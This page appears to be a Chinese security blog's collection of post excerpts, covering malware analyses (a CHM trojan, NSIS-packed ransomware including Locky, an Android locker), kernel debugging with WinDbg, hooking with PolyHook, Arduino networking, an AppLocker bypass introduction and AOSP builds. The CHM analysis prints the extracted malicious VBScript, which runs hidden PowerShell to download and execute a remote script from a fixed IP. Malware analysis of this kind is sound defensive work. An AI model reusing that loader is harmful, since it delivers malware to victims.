chm木马分析

文件sha1:6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d

打开这个chm文件,如下图所示,没发现可疑的地方。

图片说明

用火绒剑监控时发现调用了mshta执行vbs脚本然后调用powershell。

图片说明

chm不是可执行程序,是一个打包格式,里面包含了各类资源。我们可以用7z解压。

图片说明

发现在iOS_App_Development.htm文件中嵌入了vbs脚本

1
2
3
4
5
vbscript:Execute("Dim shell,command:command = "
"powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -Command
IEX (New-Object Net.WebClient).DownloadString(*http://92.222.106.229/theme.gif*)"
":command=Replace(command,""*"",Chr(39)):
set shell = CreateObject(""WScript.Shell""):shell.Run command,0:close")'
图片说明

theme.gif是一段powershell脚本。

一款勒索软件的分析(未完待续)

文件信息 SHA1:1d03f92b8f824bb065552f0d9e6ddddb

NSIS脚本分析

使用7zip解压,可以看到其中一个文件是乱码,可能是加密的shellcode。

图片说明

下图是nsis的脚本,前面有很多都是无用的代码,一般都是首先看.oninit回调函数。

我们可以看到它通过wsprintf来拼接字符串,使用nsis的system.dll来调用外部dll。 将加密的shellcode映射到内存,

图片说明

手动找到系统调用中断地址

手动找到中断地址

查看当前线程PCR地址

WINDBG>!PCR
KPCR for Processor 0 at ffdff000:
    Major 1 Minor 1
    NtTib.ExceptionList: b08051b0
        NtTib.StackBase: b0805df0
       NtTib.StackLimit: b0802000
     NtTib.SubSystemTib: 00000000
          NtTib.Version: 00000000
      NtTib.UserPointer: 00000000
          NtTib.SelfTib: 7ff6b000

                SelfPcr: ffdff000
                   Prcb: ffdff120
                   Irql: 00000000
                    IRR: 00000000
                    IDR: ffffffff
          InterruptMode: 00000000
                    IDT: 8003f400 //中断描述表
                    GDT: 8003f000 //全局描述表
                    TSS: 80042000

          CurrentThread: 893619a8
             NextThread: 00000000
             IdleThread: 80553740

              DpcQueue: 

查看IDT的线性地址表

WINDBG>dq /c 1 8003f400+2e*8  //2e 中断向量号
8003f570  8053ee00`0008e481
8003f578  80548e00`00081780
8003f580  80538e00`0008db40
8003f588  80538e00`0008db4a
8003f590  80538e00`0008db54
8003f598  80538e00`0008db5e
8003f5a0  80538e00`0008db68

根据数据格式得出: 偏移 8053e481 选择器 0008

下图选择器的数据格式

图片说明

根据上图格式可以知道 在GDT的索引为1,GDT的地址在!PCR处已经获取到。为8003f000

WINDBG>dq /c 1 8003f000+1*8
8003f008  00cf9b00`0000ffff
8003f010  00cf9300`0000ffff
8003f018  00cffb00`0000ffff
8003f020  00cff300`0000ffff
图片说明

m+7、M+2~M+4组合是段基址。因此地址是0:8053e481。

快速调用

SYSENTER_CS   CS    174
SYSENTER_CS+8 SS
SYSENTER_ESP  ESP   175
SYSENTER_EIP  EIP   176

SYSENTER指令行执行CPU取出的第一条内核指令

WINDBG>rdmsr 176
msr[176] = 00000000`8053e540

接下来是段选择子

WINDBG>rdmsr 174
msr[174] = 00000000`00000008

这个前面已经算出来了,不需要另外算了。所以对应的地址在8053e540

病毒样本快到碗里来,一个样本下载爬虫的实现

简介

Malwar是一个使用了Cuckoo Sanbox的在线恶意软件分析系统,由于它提供一些病毒样本下载,就想能不能写个爬虫把样本下下来。顺便写篇博客记录下。

页面分析

打开 https://malwr.com/analysis ,我们可以当前页看到有TimeStamp、md5、文件名、文件类型和杀软查杀数,下一页类似。

图片说明

arduino之网络通信

网络连接

需要包含Ethernet.h头文件

限于篇幅,就只列出关键代码。

第一步需要设置mac地址和静态ip,定义一个EthernerClient类型变量用来进行连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <SPI.h>
#include <Ethernet.h>
byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
IPAddress staticIP(10, 0, 0, 20);
EthernetClient client;
void connectToInternet()
{
// Attempt to connect to Ethernet with DHCP
if (Ethernet.begin(mac) == 0)
{
Serial.print("[ERROR] Failed to Configure Ethernet using DHCP");
Ethernet.begin(mac, staticIP);
}
delay(1000);
// Connection successful
Serial.println("[INFO] Connection Successful");
Serial.print("");
printConnectionInformation();
Serial.println("-----------------------------------------------");
Serial.println("");
}
void printConnectionInformation()
{
// Print Connection Information
Serial.print("[INFO] IP Address: ");
Serial.println(Ethernet.localIP());
Serial.print("[INFO] Subnet Mask: ");
Serial.println(Ethernet.subnetMask());
Serial.print("[INFO] Gateway: ");
Serial.println(Ethernet.gatewayIP());
Serial.print("[INFO] DNS: ");
Serial.println(Ethernet.dnsServerIP());
}

polyHook,比detours更好用的hook框架

PolyHook支持x86/x64平台,源码地址为 https://github.com/stevemk14ebr/PolyHook。 一共提供了6种hook方法。

  1. Detour
  2. Virtual Function Detour
  3. Virtual Function Pointer Swap
  4. Virtual Table Pointer Swap
  5. Import Address Table
  6. VEH

我目前比较常用也只是用第一种hook方法。

配置

主要文件为PolyHook.hpp和Capstone库。 在属性->VC++目录中包含Capstone库,注意区分对应的平台。 添加PolyHook.hpp到工程中,用于提供的是hpp文件,声明和实现都在同一个文件,几个文件包含的话就会报重复定义的错误。 因此我在PolyHook.hpp文件的末尾自己封装了下hook方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class HookMgr
{
public:
HookMgr(PVOID src, PVOID DstFunction)
{
m_DstFunction = DstFunction;
m_src = src;
std::shared_ptr<PLH::Detour> Detour_Ex(new PLH::Detour);
m_Detour_Ex = Detour_Ex;
}
~HookMgr()
{
}
private:
PVOID m_src;
PVOID m_DstFunction;
std::shared_ptr<PLH::Detour> m_Detour_Ex;
public:
void hook()
{
m_Detour_Ex->SetupHook(m_src, m_DstFunction);
m_Detour_Ex->Hook();
}
//获取原函数
FARPROC GetOriginal()
{
return (FARPROC)m_Detour_Ex->GetOriginal<decltype(&m_DstFunction)>();
}
void unhook()
{
m_Detour_Ex->UnHook();
}

Locky Ransom分析

一直想知道使用NSIS打包的勒索病毒是怎么解密payload然后执行加密动作的,特意找了个使用NSIS打包的勒索病毒分析了下。

使用7z打开NSIS程序,我们可以看到如下文件:

图片说明

其中system.dll文件为NSIS的插件。

打开nsis脚本,部分代码如下(手动添加的注释):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
; --------------------
; SECTIONS: 1
; COMMANDS: 25
Function .onInit
SetOutPath $INSTDIR ;设置输出路径为$INSTDIR
SetOverwrite off
File Candidate.bv ;将Candidate.b释放到$INSTDIR
StrCpy $R4 requiems::Manteltree() ;字面意思,拷贝字符串到$R4
File requiems.dll ;将requiems.dll释放到$INSTDIR
System::Call $R4) ;使用System::call函数调用$R4,也就是requiems::Manteltree()
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push $R4)
; CallInstDLL $PLUGINSDIR\System.dll Call
FunctionEnd
Section ; Section_0
SectionEnd

伪色播锁机分析

打开AndridManifest.xml看看都有哪些组件

图片说明
  • Activity
    类名为com.h.M
  • Receiver
    com.h.bbb开机启动时会调用该类
    com.h.MyAdmin 激活设备管理器时调用该类
  • Service 类名为com.h.s

病毒常用的权限:

  • android.permission.SEND_SMS
    发送短信
  • android.permission.SYSTEM_ALERT_WINDOW
    置顶系统警报窗口,大部分锁机软件原理就是这样实现的。
  • android.permission.RECEIVE_BOOT_COMPLETED
    开机自启动

Applocker bypass

简介

Windows AppLocker,也叫应用程序控制策略

AppLocker 允许用户根据文件的唯一标识,或者创建允许或拒绝应用程序运行的规则来指定哪些用户或组具备何种运行指定的应用程序的权限。

简单的说就是限制了文件或文件夹的权限,不能够被任何用户或只能被某一类用户执行。 关于Applocker的设置可以参考其他文章,本文主要是关于bypass applocker;

AppLocker只能限制下列几类程序:

  • 可执行程序(exe、com)
  • 脚本程序(bat、ps1、vbs、bat和cmd)
  • Windows Installer文件(msi、msp)
  • DLL文件(dll、ocx)

AOSP docker编译安卓源码绕过反调试

看了很多编译源码的文章,发现很多都有坑,大部分都是环境配置问题,编译不同版本的源码jdk版本不一样,ubuntu版本也不一样。这很让人蛋疼,光是折腾环境就得半天了。

自从有了docker就不一样了,有人把Android源码编译的环境打包成了docker,就是AOSP docker;这样我们就不需要去折腾环境,直接拿人家弄好的来用。

推荐使用linux装docker,不用管是debian还是ubuntu;虽然windows也可以使用docker,但是还是有点小问题。

分配硬盘

linux至少要分配100g的硬盘空间。空间足够的可以跳过,原本装有VMWare linux,但是空间不足,又不想重新装个虚拟机。 可以参考 这篇文章http://blog.csdn.net/u010372981/article/details/46514011 给虚拟机加块硬盘。

安装docker

默认源中没有docker,我们需要在添加backports源,在/etc/apt/sources.list文件 加入下面这行

1
deb http://http.debian.net/debian jessie-backports main

运行如下命令安装docker

1
2
apt-get update
apt-get install docker.io

开始编译

  1. 开始之前先启动docker服务,不然到后面会报错
1
/etc/init.d/docker start
  1. 设置AOSP_VOL环境变量,设置为你要存放源码的路径,给VMWare添加硬盘扩容的设置成挂载的硬盘的路径。我设置的/Android路径
1
export AOSP_VOL=/Android
|